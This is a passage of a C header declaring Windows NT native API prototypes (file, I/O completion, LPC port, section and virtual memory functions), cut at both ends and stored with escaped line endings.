);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSystemDebugControl (\r\n    IN SYSDBG_COMMAND Command,\r\n    _In_opt_ PVOID InputBuffer,\r\n    IN ULONG InputBufferLength,\r\n    OUT OPTIONAL PVOID OutputBuffer,\r\n    IN ULONG OutputBufferLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRaiseHardError (\r\n    IN NTSTATUS ErrorStatus,\r\n    IN ULONG NumberOfParameters,\r\n    IN ULONG UnicodeStringParameterMask,\r\n    _In_opt_ PULONG_PTR Parameters,\r\n    IN ULONG ValidResponseOptions,\r\n    OUT PULONG Response\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryDefaultLocale (\r\n    IN BOOLEAN UserProfile,\r\n    OUT PLCID DefaultLocaleId\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetDefaultLocale (\r\n    IN BOOLEAN UserProfile,\r\n    IN LCID DefaultLocaleId\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryInstallUILanguage (\r\n    OUT LANGID *InstallUILanguageId\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryDefaultUILanguage (\r\n    OUT LANGID *DefaultUILanguageId\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetDefaultUILanguage (\r\n    IN LANGID DefaultUILanguageId\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetDefaultHardErrorPort(\r\n    IN HANDLE DefaultHardErrorPort\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtShutdownSystem (\r\n    IN SHUTDOWN_ACTION Action\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDisplayString (\r\n    IN PUNICODE_STRING String\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAddAtom (\r\n    _In_opt_ PWSTR AtomName,\r\n    IN ULONG Length,\r\n    OUT OPTIONAL PRTL_ATOM Atom\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFindAtom (\r\n    _In_opt_ PWSTR AtomName,\r\n    IN ULONG Length,\r\n    OUT OPTIONAL PRTL_ATOM Atom\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeleteAtom (\r\n    IN RTL_ATOM Atom\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryInformationAtom(\r\n    IN RTL_ATOM Atom,\r\n    IN ATOM_INFORMATION_CLASS AtomInformationClass,\r\n    OUT OPTIONAL PVOID AtomInformation,\r\n    IN ULONG AtomInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCancelIoFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateNamedPipeFile (\r\n     OUT PHANDLE FileHandle,\r\n     IN ULONG DesiredAccess,\r\n     IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n     OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n     IN ULONG ShareAccess,\r\n     IN ULONG CreateDisposition,\r\n     IN ULONG CreateOptions,\r\n     IN ULONG NamedPipeType,\r\n     IN ULONG ReadMode,\r\n     IN ULONG CompletionMode,\r\n     IN ULONG MaximumInstances,\r\n     IN ULONG InboundQuota,\r\n     IN ULONG OutboundQuota,\r\n     _In_opt_ PLARGE_INTEGER DefaultTimeout\r\n     );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateMailslotFile (\r\n     OUT PHANDLE FileHandle,\r\n     IN ULONG DesiredAccess,\r\n     IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n     OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n     IN ULONG CreateOptions,\r\n     IN ULONG MailslotQuota,\r\n     IN ULONG MaximumMessageSize,\r\n     IN PLARGE_INTEGER ReadTimeout\r\n     );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeleteFile (\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFlushBuffersFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtNotifyChangeDirectoryFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    IN ULONG CompletionFilter,\r\n    IN BOOLEAN WatchTree\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryAttributesFile (\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    OUT PFILE_BASIC_INFORMATION FileInformation\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryFullAttributesFile(\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryEaFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    IN BOOLEAN ReturnSingleEntry,\r\n    IN PVOID EaList,\r\n    IN ULONG EaListLength,\r\n    _In_opt_ PULONG EaIndex OPTIONAL,\r\n    IN BOOLEAN RestartScan\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateFile (\r\n    OUT PHANDLE FileHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    _In_opt_ PLARGE_INTEGER AllocationSize,\r\n    IN ULONG FileAttributes,\r\n    IN ULONG ShareAccess,\r\n    IN ULONG CreateDisposition,\r\n    IN ULONG CreateOptions,\r\n    _In_opt_ PVOID EaBuffer,\r\n    IN ULONG EaLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDeviceIoControlFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG IoControlCode,\r\n    _In_opt_ PVOID  InputBuffer,\r\n    IN ULONG InputBufferLength,\r\n    OUT OPTIONAL PVOID  OutputBuffer,\r\n    IN ULONG OutputBufferLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFsControlFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG FsControlCode,\r\n    _In_opt_ PVOID  InputBuffer,\r\n    IN ULONG InputBufferLength,\r\n    OUT OPTIONAL PVOID  OutputBuffer,\r\n    IN ULONG OutputBufferLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtLockFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PLARGE_INTEGER ByteOffset,\r\n    IN PLARGE_INTEGER Length,\r\n    IN ULONG Key,\r\n    IN BOOLEAN FailImmediately,\r\n    IN BOOLEAN ExclusiveLock\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenFile (\r\n    OUT PHANDLE FileHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN ULONG ShareAccess,\r\n    IN ULONG OpenOptions\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryDirectoryFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID FileInformation,\r\n    IN ULONG Length,\r\n    IN FILE_INFORMATION_CLASS FileInformationClass,\r\n    IN BOOLEAN ReturnSingleEntry,\r\n    _In_opt_ PUNICODE_STRING FileName,\r\n    IN BOOLEAN RestartScan\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID FileInformation,\r\n    IN ULONG Length,\r\n    IN FILE_INFORMATION_CLASS FileInformationClass\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryQuotaInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    IN BOOLEAN ReturnSingleEntry,\r\n    _In_opt_ PVOID  SidList,\r\n    IN ULONG SidListLength,\r\n    _In_opt_ PSID StartSid,\r\n    IN BOOLEAN RestartScan\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryVolumeInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID FsInformation,\r\n    IN ULONG Length,\r\n    IN FS_INFORMATION_CLASS FsInformationClass\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReadFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    OUT PVOID Buffer,\r\n    IN ULONG Length,\r\n    _In_opt_ PLARGE_INTEGER ByteOffset,\r\n    _In_opt_ PULONG Key\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID FileInformation,\r\n    IN ULONG Length,\r\n    IN FILE_INFORMATION_CLASS FileInformationClass\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetQuotaInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID Buffer,\r\n    IN ULONG Length\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetVolumeInformationFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID FsInformation,\r\n    IN ULONG Length,\r\n    IN FS_INFORMATION_CLASS FsInformationClass\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWriteFile (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID Buffer,\r\n    IN ULONG Length,\r\n    _In_opt_ PLARGE_INTEGER ByteOffset,\r\n    _In_opt_ PULONG Key\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtUnlockFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PLARGE_INTEGER ByteOffset,\r\n    IN PLARGE_INTEGER Length,\r\n    IN ULONG Key\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReadFileScatter (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PFILE_SEGMENT_ELEMENT SegmentArray,\r\n    IN ULONG Length,\r\n    _In_opt_ PLARGE_INTEGER ByteOffset,\r\n    _In_opt_ PULONG Key\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetEaFile (\r\n    IN HANDLE FileHandle,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PVOID Buffer,\r\n    IN ULONG Length\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWriteFileGather (\r\n    IN HANDLE FileHandle,\r\n    _In_opt_ HANDLE Event,\r\n    _In_opt_ PIO_APC_ROUTINE ApcRoutine,\r\n    _In_opt_ PVOID ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    IN PFILE_SEGMENT_ELEMENT SegmentArray,\r\n    IN ULONG Length,\r\n    _In_opt_ PLARGE_INTEGER ByteOffset,\r\n    _In_opt_ PULONG Key\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtLoadDriver (\r\n    IN PUNICODE_STRING DriverServiceName\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtUnloadDriver (\r\n    IN PUNICODE_STRING DriverServiceName\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateIoCompletion (\r\n    OUT PHANDLE IoCompletionHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN ULONG Count OPTIONAL\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenIoCompletion (\r\n    OUT PHANDLE IoCompletionHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryIoCompletion (\r\n    IN HANDLE IoCompletionHandle,\r\n    IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass,\r\n    OUT PVOID IoCompletionInformation,\r\n    IN ULONG IoCompletionInformationLength,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetIoCompletion (\r\n    IN HANDLE IoCompletionHandle,\r\n    IN PVOID KeyContext,\r\n    _In_opt_ PVOID ApcContext,\r\n    IN NTSTATUS IoStatus,\r\n    IN ULONG_PTR IoStatusInformation\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRemoveIoCompletion (\r\n    IN HANDLE IoCompletionHandle,\r\n    OUT PVOID *KeyContext,\r\n    OUT PVOID *ApcContext,\r\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCallbackReturn (\r\n    IN PVOID OutputBuffer OPTIONAL,\r\n    IN ULONG OutputLength,\r\n    IN NTSTATUS Status\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryDebugFilterState (\r\n    IN ULONG ComponentId,\r\n    IN ULONG Level\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetDebugFilterState (\r\n    IN ULONG ComponentId,\r\n    IN ULONG Level,\r\n    IN BOOLEAN State\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtYieldExecution (\r\n    VOID\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreatePort(\r\n    OUT PHANDLE PortHandle,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN ULONG MaxConnectionInfoLength,\r\n    IN ULONG MaxMessageLength,\r\n    _In_opt_ ULONG MaxPoolUsage\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateWaitablePort(\r\n    OUT PHANDLE PortHandle,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n    IN ULONG MaxConnectionInfoLength,\r\n    IN ULONG MaxMessageLength,\r\n    _In_opt_ ULONG MaxPoolUsage\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtConnectPort(\r\n    OUT PHANDLE PortHandle,\r\n    IN PUNICODE_STRING PortName,\r\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,\r\n    _Inout_opt_ PPORT_VIEW ClientView,\r\n    _Inout_opt_ PREMOTE_PORT_VIEW ServerView,\r\n    OUT OPTIONAL PULONG MaxMessageLength,\r\n    _Inout_opt_ PVOID ConnectionInformation,\r\n    _Inout_opt_ PULONG ConnectionInformationLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSecureConnectPort(\r\n    OUT PHANDLE PortHandle,\r\n    IN PUNICODE_STRING PortName,\r\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,\r\n    _Inout_opt_ PPORT_VIEW ClientView,\r\n    _In_opt_ PSID RequiredServerSid,\r\n    _Inout_opt_ PREMOTE_PORT_VIEW ServerView,\r\n    OUT OPTIONAL PULONG MaxMessageLength,\r\n    _Inout_opt_ PVOID ConnectionInformation,\r\n    _Inout_opt_ PULONG ConnectionInformationLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtListenPort(\r\n    IN HANDLE PortHandle,\r\n    OUT PPORT_MESSAGE ConnectionRequest\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAcceptConnectPort(\r\n    OUT PHANDLE PortHandle,\r\n    _In_opt_ PVOID PortContext,\r\n    IN PPORT_MESSAGE ConnectionRequest,\r\n    IN BOOLEAN AcceptConnection,\r\n    _Inout_opt_ PPORT_VIEW ServerView,\r\n    OUT OPTIONAL PREMOTE_PORT_VIEW ClientView\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCompleteConnectPort(\r\n    IN HANDLE PortHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRequestPort(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE RequestMessage\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtRequestWaitReplyPort(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE RequestMessage,\r\n    OUT PPORT_MESSAGE ReplyMessage\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReplyPort(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE ReplyMessage\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReplyWaitReplyPort(\r\n    IN HANDLE PortHandle,\r\n    _Inout_ PPORT_MESSAGE ReplyMessage\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReplyWaitReceivePort(\r\n    IN HANDLE PortHandle,\r\n    OUT OPTIONAL PVOID *PortContext ,\r\n    _In_opt_ PPORT_MESSAGE ReplyMessage,\r\n    OUT PPORT_MESSAGE ReceiveMessage\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReplyWaitReceivePortEx(\r\n    IN HANDLE PortHandle,\r\n    OUT OPTIONAL PVOID *PortContext,\r\n    _In_opt_ PPORT_MESSAGE ReplyMessage,\r\n    OUT PPORT_MESSAGE ReceiveMessage,\r\n    _In_opt_ PLARGE_INTEGER Timeout\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtImpersonateClientOfPort(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE Message\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReadRequestData(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE Message,\r\n    IN ULONG DataEntryIndex,\r\n    OUT PVOID Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesRead\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWriteRequestData(\r\n    IN HANDLE PortHandle,\r\n    IN PPORT_MESSAGE Message,\r\n    IN ULONG DataEntryIndex,\r\n    IN PVOID Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesWritten\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryInformationPort(\r\n    IN HANDLE PortHandle,\r\n    IN PORT_INFORMATION_CLASS PortInformationClass,\r\n    OUT PVOID PortInformation,\r\n    IN ULONG Length,\r\n    OUT OPTIONAL PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreateSection (\r\n    OUT PHANDLE SectionHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,\r\n    _In_opt_ PLARGE_INTEGER MaximumSize,\r\n    IN ULONG SectionPageProtection,\r\n    IN ULONG AllocationAttributes,\r\n    _In_opt_ HANDLE FileHandle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtOpenSection (\r\n    OUT PHANDLE SectionHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN POBJECT_ATTRIBUTES ObjectAttributes\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtMapViewOfSection (\r\n    IN HANDLE SectionHandle,\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    IN ULONG_PTR ZeroBits,\r\n    IN SIZE_T CommitSize,\r\n    _Inout_opt_ PLARGE_INTEGER SectionOffset,\r\n    _Inout_ PSIZE_T ViewSize,\r\n    IN SECTION_INHERIT InheritDisposition,\r\n    IN ULONG AllocationType,\r\n    IN ULONG Win32Protect\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtUnmapViewOfSection (\r\n    IN HANDLE ProcessHandle,\r\n    IN PVOID BaseAddress\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtExtendSection (\r\n    IN HANDLE SectionHandle,\r\n    _Inout_ PLARGE_INTEGER NewSectionSize\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAreMappedFilesTheSame (\r\n    IN PVOID File1MappedAsAnImage,\r\n    IN PVOID File2MappedAsFile\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAllocateVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    IN ULONG_PTR ZeroBits,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG AllocationType,\r\n    IN ULONG Protect\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFreeVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG FreeType\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtReadVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _In_opt_ PVOID BaseAddress,\r\n    OUT PVOID Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesRead\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtWriteVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _In_opt_ PVOID BaseAddress,\r\n    IN CONST VOID *Buffer,\r\n    IN SIZE_T BufferSize,\r\n    OUT OPTIONAL PSIZE_T NumberOfBytesWritten\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFlushVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    OUT PIO_STATUS_BLOCK IoStatus\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtLockVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG MapType\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtUnlockVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG MapType\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtProtectVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PVOID *BaseAddress,\r\n    _Inout_ PSIZE_T RegionSize,\r\n    IN ULONG NewProtect,\r\n    OUT PULONG OldProtect\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryVirtualMemory (\r\n    IN HANDLE ProcessHandle,\r\n    IN PVOID BaseAddress,\r\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\r\n    OUT PVOID MemoryInformation,\r\n    IN SIZE_T MemoryInformationLength,\r\n    OUT OPTIONAL PSIZE_T ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQuerySection (\r\n    IN HANDLE SectionHandle,\r\n    IN SECTION_INFORMATION_CLASS SectionInformationClass,\r\n    OUT PVOID SectionInformation,\r\n    IN SIZE_T SectionInformationLength,\r\n    OUT OPTIONAL PSIZE_T ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtMapUserPhysicalPages (\r\n    IN PVOID VirtualAddress,\r\n    IN ULONG_PTR NumberOfPages,\r\n    _In_opt_ PULONG_PTR UserPfnArray\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtMapUserPhysicalPagesScatter (\r\n    IN PVOID *VirtualAddresses,\r\n    IN ULONG_PTR NumberOfPages,\r\n    _In_opt_ PULONG_PTR UserPfnArray\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtAllocateUserPhysicalPages (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PULONG_PTR NumberOfPages,\r\n    OUT PULONG_PTR UserPfnArray\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFreeUserPhysicalPages (\r\n    IN HANDLE ProcessHandle,\r\n    _Inout_ PULONG_PTR NumberOfPages,\r\n    IN PULONG_PTR UserPfnArray\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtGetWriteWatch (\r\n    IN HANDLE ProcessHandle,\r\n    IN ULONG Flags,\r\n    IN PVOID BaseAddress,\r\n    IN SIZE_T RegionSize,\r\n    OUT PVOID *UserAddressArray,\r\n    _Inout_ PULONG_PTR EntriesInUserAddressArray,\r\n    OUT PULONG Granularity\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtResetWriteWatch (\r\n    IN HANDLE ProcessHandle,\r\n    IN PVOID BaseAddress,\r\n    IN SIZE_T RegionSize\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtCreatePagingFile (\r\n    IN PUNICODE_STRING PageFileName,\r\n    IN PLARGE_INTEGER MinimumSize,\r\n    IN PLARGE_INTEGER MaximumSize,\r\n    IN ULONG Priority\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFlushInstructionCache (\r\n    IN HANDLE ProcessHandle,\r\n    _In_opt_ PVOID BaseAddress,\r\n    IN SIZE_T Length\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtFlushWriteBuffer (\r\n    VOID\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtQueryObject (\r\n    IN HANDLE Handle,\r\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\r\n    OUT PVOID ObjectInformation,\r\n    IN ULONG ObjectInformationLength,\r\n    OUT PULONG ReturnLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSetInformationObject (\r\n    IN HANDLE Handle,\r\n    IN OBJECT_INFORMATION_CLASS ObjectInformationClass,\r\n    IN PVOID ObjectInformation,\r\n    IN ULONG ObjectInformationLength\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtDuplicateObject (\r\n    IN HANDLE SourceProcessHandle,\r\n    IN HANDLE SourceHandle,\r\n    _In_opt_ HANDLE TargetProcessHandle,\r\n    OUT PHANDLE TargetHandle,\r\n    IN ACCESS_MASK DesiredAccess,\r\n    IN ULONG HandleAttributes,\r\n    IN ULONG Options\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtMakeTemporaryObject (\r\n    IN HANDLE Handle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtMakePermanentObject (\r\n    IN HANDLE Handle\r\n    );\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nNtSignalAndWaitForSingleObject (\r\n    IN HANDLE SignalHandle,\r\n    IN 